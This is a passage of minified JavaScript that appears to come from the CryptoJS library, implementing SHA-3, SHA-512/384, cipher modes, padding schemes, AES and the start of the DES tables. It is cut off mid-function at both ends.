i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 